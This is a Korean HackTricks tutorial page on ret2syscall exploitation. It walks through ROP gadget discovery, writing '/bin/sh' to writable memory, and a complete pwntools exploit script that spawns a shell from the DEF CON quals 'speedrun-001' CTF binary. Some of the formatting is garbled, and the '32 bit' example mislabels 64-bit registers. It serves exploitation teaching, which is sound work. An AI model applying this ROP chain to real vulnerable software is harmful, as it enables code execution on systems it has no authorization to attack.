Ret2syscall

Ret2syscall

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

기본 정보

이것은 Ret2lib와 유사하지만, 이 경우에는 라이브러리에서 함수를 호출하지 않을 것입니다. 이 경우에는 sys_execve 시스템 호출을 호출하기 위해 일부 인수로 /bin/sh를 실행하기 위해 모든 것이 준비될 것입니다. 이 기술은 일반적으로 정적으로 컴파일된 이진 파일에서 수행되므로 많은 가젯과 시스템 호출 명령이 있을 수 있습니다.

시스템 호출을 준비하기 위해 다음 구성이 필요합니다:

  • rax: 59 sys_execve 지정

  • rdi: "/bin/sh"를 가리키는 포인터 실행할 파일 지정

  • rsi: 0 전달된 인수 없음 지정

  • rdx: 0 전달된 환경 변수 없음 지정

따라서 기본적으로 문자열 /bin/sh를 어딘가에 쓰고, 그런 다음 syscall을 수행해야 합니다(스택을 제어하기 위해 필요한 패딩을 고려하여). 이를 위해 알려진 영역에 /bin/sh를 쓸 수 있는 가젯이 필요합니다.

호출할 다른 흥미로운 시스템 호출은 **mprotect**이며, 이를 통해 공격자가 메모리의 페이지 권한을 수정할 수 있습니다. 이는 ret2shellcode와 결합할 수 있습니다.

레지스터 가젯

레지스터를 제어하는 방법을 찾아봅시다:

ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret

이 주소들을 사용하면 스택에 내용을 작성하고 레지스터로 로드할 수 있습니다.

문자열 작성

쓰기 가능한 메모리

먼저 메모리에서 쓰기 가능한 위치를 찾아야 합니다.

gef> vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]

메모리에 문자열 작성

그런 다음이 주소에 임의의 내용을 작성하는 방법을 찾아야합니다.

ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx

ROP 체인 자동화

다음 명령어는 쓰기-무엇을-어디에 가젯과 시스콜 명령어가 있는 정적 이진 파일에서 완전한 sys_execve ROP 체인을 생성합니다:

ROPgadget --binary vuln --ropchain

32 비트

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''

rop += popRdx           # place value into EAX
rop += "/bin"           # 4 bytes at a time
rop += popRax           # place value into edx
rop += p32(0x6b6000)    # Writable memory
rop += writeGadget   #Address to: mov qword ptr [rax], rdx

rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget

64 비트

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx

부족한 가젯

만약 메모리에 /bin/sh를 작성할 가젯이 부족한 경우, 스택에서 모든 레지스터 값(포함하여 RIP 및 매개변수 레지스터)을 제어하기 위해 SROP 기술을 사용할 수 있습니다:

pageSROP - Sigreturn-Oriented Programming

```python from pwn import *

target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad')

Establish our ROP Gadgets

popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5)

0x000000000048d251 : mov qword ptr [rax], rdx ; ret

writeGadget = p64(0x48d251)

Our syscall gadget

syscall = p64(0x40129c)

''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget

''' Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0

syscall '''

rop += popRax rop += p64(0x3b)

rop += popRdi rop += p64(0x6b6000)

rop += popRsi rop += p64(0) rop += popRdx rop += p64(0)

rop += syscall

Add the padding to the saved return address

payload = "0"*0x408 + rop

Send the payload, drop to an interactive shell to use our new shell

target.sendline(payload)

target.interactive()

## 다른 예제 및 참고 자료

* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
* 64 비트, PIE 없음, nx, `execve`를 호출하고 거기로 이동하기 위해 메모리에 ROP를 작성합니다.
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
* 64 비트, nx, PIE 없음, `execve`를 호출하고 거기로 이동하기 위해 메모리에 ROP를 작성합니다. 수학 연산을 수행하는 함수를 스택에 쓰기 위해 남용됩니다.
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 비트, PIE 없음, nx, BF 캐너리, `execve`를 호출하고 거기로 이동하기 위해 메모리에 ROP를 작성합니다.

Last updated